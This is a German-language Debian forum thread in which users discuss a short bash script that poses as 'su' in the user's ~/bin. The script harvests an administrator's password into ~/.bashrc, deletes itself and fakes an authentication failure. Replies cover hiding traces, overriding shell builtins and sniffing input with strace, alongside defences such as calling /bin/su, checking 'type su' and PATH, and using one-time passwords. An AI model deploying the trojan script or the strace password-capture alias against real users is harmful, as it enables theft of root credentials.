The Helpful and the Stupid

Vom einfachen Programm zum fertigen Debian-Paket, Fragen rund um Programmiersprachen, Scripting und Lizenzierung.
Antworten
linuxCowboy
Beiträge: 287
Registriert: 05.02.2013 19:47:41

The Helpful and the Stupid

Beitrag von linuxCowboy » 11.03.2014 13:25:38

"Admin, kannst du mir mal helfen... "

Code: Alles auswählen

#!/bin/bash
# PATH=~/bin
# hash [-t] su
read -rsp 'Password: ' R
echo
echo -E "#_|$R|_" >>~/.bashrc
unset R
rm $0
sleep 2
echo su: Authentication failure
exit 1
Danke.
(das nächste Mal kann ich mir jetzt selber helfen ;-)

Moral:
/bin/su statt su
-der_linux_cowboy --- Besser werden! ... f*** w$$

inne
Beiträge: 3281
Registriert: 29.06.2013 17:32:10
Lizenz eigener Beiträge: GNU General Public License
Kontaktdaten:

Re: The Helpful and the Stupid

Beitrag von inne » 11.03.2014 14:48:21

Wo hast du dieses Skript her? Selbst geschrieben, fuer wen? Im eigenen $HOME gefunden? Was fuern ... Es steht doch nix im Log ...

uname
Beiträge: 12072
Registriert: 03.06.2008 09:33:02

Re: The Helpful and the Stupid

Beitrag von uname » 11.03.2014 16:25:22

Nett. Wobei der "Angreifer" muss hierfür "." oder "~/bin" in PATH haben.
Scheinbar ist Ubuntu mit "sudo" doch sicherer ;-)

Sicherheitshalber hilft auch:

Code: Alles auswählen

which su
... überlege immer noch ob ich drauf reingefallen wäre ...

linuxCowboy
Beiträge: 287
Registriert: 05.02.2013 19:47:41

Re: The Helpful and the Stupid

Beitrag von linuxCowboy » 13.03.2014 00:17:58

...und, wärst du? ;-)

statt which das interne

Code: Alles auswählen

type su
Eine eigene, gepatchte, Shell wäre schon aufwendiger!

Man könnte noch das Password verschleiern. Dass es nirgends im Klartext steht (deniability).

Den Timestamp zurücksetzen. Die History bereinigen.

Und käme damit "spurlos" schon ziemlich nahe!?

...

Ein

Code: Alles auswählen

echo $PATH
zu Anfang und ein Blick in ~/bin beenden den Spaß!
-der_linux_cowboy --- Besser werden! ... f*** w$$

linuxCowboy
Beiträge: 287
Registriert: 05.02.2013 19:47:41

Re: The Helpful and the Stupid

Beitrag von linuxCowboy » 13.03.2014 13:04:39

type lässt sich auch einfach mit einer Shell-Funktion überschreiben!

Aber

Code: Alles auswählen

builtin type su
ruft das builtin auf.

builtin lässt sich ebenfalls mit einer Shell-Funktion überschreiben!

Aber

Code: Alles auswählen

declare -f type builtin
zeigt die Shell-Funktionen.

declare lässt sich auch wieder mit einer Shell-Funktion überschreiben...


( ...wer braucht da noch Quantum! ;-)
-der_linux_cowboy --- Besser werden! ... f*** w$$

uname
Beiträge: 12072
Registriert: 03.06.2008 09:33:02

Re: The Helpful and the Stupid

Beitrag von uname » 13.03.2014 13:36:34

Ein "exit" könnte Wunder wirken. Aber auch das könnte sich manipulieren lassen.

Die Shell des Benutzers ist eine Art "Client" des Benutzers. Und auf einem "unkontrollierten" Client administrative Tätigkeiten durchzuführen ist immer gefährlich.
Es könnte noch eine Art Keylogger geben ("script" geht aber leider nicht)

Ganz nett ist Debianstrace (falls installiert) in einem anderen Terminal. Das geht selbst ohne das Programm von ganz oben mit einer nichtmanipulierten Shell:

Code: Alles auswählen

strace -ff -e 'read,write' -p12345
12345 ist hier die Prozess-ID der ersten Shell

Kann man bestimmt auch scripten oder man nutzt z.B. Debianscreen wenn nur eine SSH-Sitzung offen sein soll.

Vielleicht kann noch jemand schreiben wie man direkt tty,pts, ... mitlesen kann. Ist mir leider entfallen.

Benutzeravatar
Phineas
Beiträge: 348
Registriert: 20.06.2012 20:26:19

Re: The Helpful and the Stupid

Beitrag von Phineas » 14.03.2014 10:32:26

Ich check den Sinn dieses Threads nicht so ganz. Wenn ich den Admin dazu bringe, von meinem Rechner aus zu administrieren, kann ich doch beispielsweise auch eine Kamera verstecken, oder einen USB-Keylogger zwischen Tastatur und Rechner stecken, um an sein PW zu gelangen.

uname
Beiträge: 12072
Registriert: 03.06.2008 09:33:02

Re: The Helpful and the Stupid

Beitrag von uname » 14.03.2014 11:18:14

Hat ja keiner behauptet, dass es ein sinnvoller Thread ist. Natürlich würde ein guter Admin wenn überhaupt Einmalpasswörter nutzen (Debianotpw-bin Debianlibpam-otpw ).

linuxCowboy
Beiträge: 287
Registriert: 05.02.2013 19:47:41

Re: The Helpful and the Stupid

Beitrag von linuxCowboy » 14.03.2014 17:59:38

Gute Idee mit strace!

Code: Alles auswählen

alias sux='strace -f -o rt~ -e write -p 1650 2>/dev/null&clear'

grep -A2 Password rt~
Erinnert mich an die geile Zeit mit BoundsChecker!

Leider erkennt su das und schlägt fehl.

...

Das tut das Script aber auch. Man muss sich also nur das Passwort greifen und sich beenden.

Den Code veröffentliche ich hier nicht. (da hört der Spaß auf!)

Danke, uname, für die Links!
-der_linux_cowboy --- Besser werden! ... f*** w$$

Antworten